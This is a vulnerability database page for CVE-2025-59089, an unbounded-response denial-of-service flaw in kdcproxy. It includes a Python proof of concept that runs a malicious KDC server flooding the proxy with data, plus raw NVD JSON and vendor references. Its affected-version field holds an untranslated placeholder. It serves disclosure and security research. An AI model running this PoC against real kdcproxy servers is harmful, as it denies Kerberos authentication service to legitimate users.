Security Vulnerability Report
中文
CVE-2025-59089 CVSS 5.9 MEDIUM

CVE-2025-59089

Published: 2025-11-12 17:15:38
Last Modified: 2026-04-20 09:16:09

Description

If an attacker causes kdcproxy to connect to an attacker-controlled KDC server (e.g. through server-side request forgery), they can exploit the fact that kdcproxy does not enforce bounds on TCP response length to conduct a denial-of-service attack. While receiving the KDC's response, kdcproxy copies the entire buffered stream into a new buffer on each recv() call, even when the transfer is incomplete, causing excessive memory allocation and CPU usage. Additionally, kdcproxy accepts incoming response chunks as long as the received data length is not exactly equal to the length indicated in the response header, even when individual chunks or the total buffer exceed the maximum length of a Kerberos message. This allows an attacker to send unbounded data until the connection timeout is reached (approximately 12 seconds), exhausting server memory or CPU resources. Multiple concurrent requests can cause accept queue overflow, denying service to legitimate clients.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

kdcproxy (freeIPA) < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 ''' CVE-2025-59089 PoC - kdcproxy DoS via unbounded response This PoC demonstrates the memory exhaustion vulnerability in kdcproxy. Note: Use only for authorized security testing. ''' import socket import time import threading def create_malicious_kdc_response(): '''Generate malicious KDC response that exceeds limits''' # Malformed response header - length field doesn't match actual header = b'\x30\x82\x01\x00' # ASN.1 SEQUENCE with large length # Send data chunks that keep kdcproxy allocating memory chunk = b'A' * 65536 # 64KB chunks return header + chunk def start_malicious_kdc_server(port=88): '''Start a malicious KDC server''' server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(5) print(f'[*] Malicious KDC listening on port {port}') while True: client, addr = server.accept() print(f'[*] Connection from {addr}') # Send unbounded response to exhaust client memory response = create_malicious_kdc_response() try: # Keep sending until timeout (~12 seconds) while True: client.send(response) time.sleep(0.1) # Small delay between sends except: pass finally: client.close() def trigger_ssrf_to_malicious_kdc(target_kdcproxy, malicious_kdc_ip): '''Simulate SSRF to trigger kdcproxy connection to malicious KDC''' # This would be the HTTP request to kdcproxy with SSRF payload ssrf_payload = f'http://{malicious_kdc_ip}:88' print(f'[*] Triggering SSRF to connect kdcproxy to {ssrf_payload}') # In real attack, send HTTP request to kdcproxy with crafted URL return ssrf_payload if __name__ == '__main__': # Start malicious KDC server server_thread = threading.Thread(target=start_malicious_kdc_server) server_thread.daemon = True server_thread.start() print('[*] Malicious KDC server running') print('[*] Wait for kdcproxy to connect (SSRF trigger required)') time.sleep(60)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59089", "sourceIdentifier": "[email protected]", "published": "2025-11-12T17:15:38.360", "lastModified": "2026-04-20T09:16:08.537", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "If an attacker causes kdcproxy to connect to an attacker-controlled KDC server (e.g. through server-side request forgery), they can exploit the fact that kdcproxy does not enforce bounds on TCP response length to conduct a denial-of-service attack. While receiving the KDC's response, kdcproxy copies the entire buffered stream into a new\nbuffer on each recv() call, even when the transfer is incomplete, causing excessive memory allocation and CPU usage. Additionally, kdcproxy accepts incoming response chunks as long as the received data length is not exactly equal to the length indicated in the response\nheader, even when individual chunks or the total buffer exceed the maximum length of a Kerberos message. This allows an attacker to send unbounded data until the connection timeout is reached (approximately 12 seconds), exhausting server memory or CPU resources. Multiple concurrent requests can cause accept queue overflow, denying service to legitimate clients."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:21138", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21139", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21140", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21141", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21142", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21448", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21748", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21806", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21818", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21819", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21820", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21821", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22982", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-59089", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2393958", "source": "[email protected]"}, {"url": "https://github.com/latchset/kdcproxy/commit/c7675365aa20be11f03247966336c7613cac84e1", "source": "[email protected]"}, {"url": "https://github.com/latchset/kdcproxy/pull/68", "source": "[email protected]"}, {"url": "https://github.com/latchset/kdcproxy/commit/c7675365aa20be11f03247966336c7613cac84e1", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}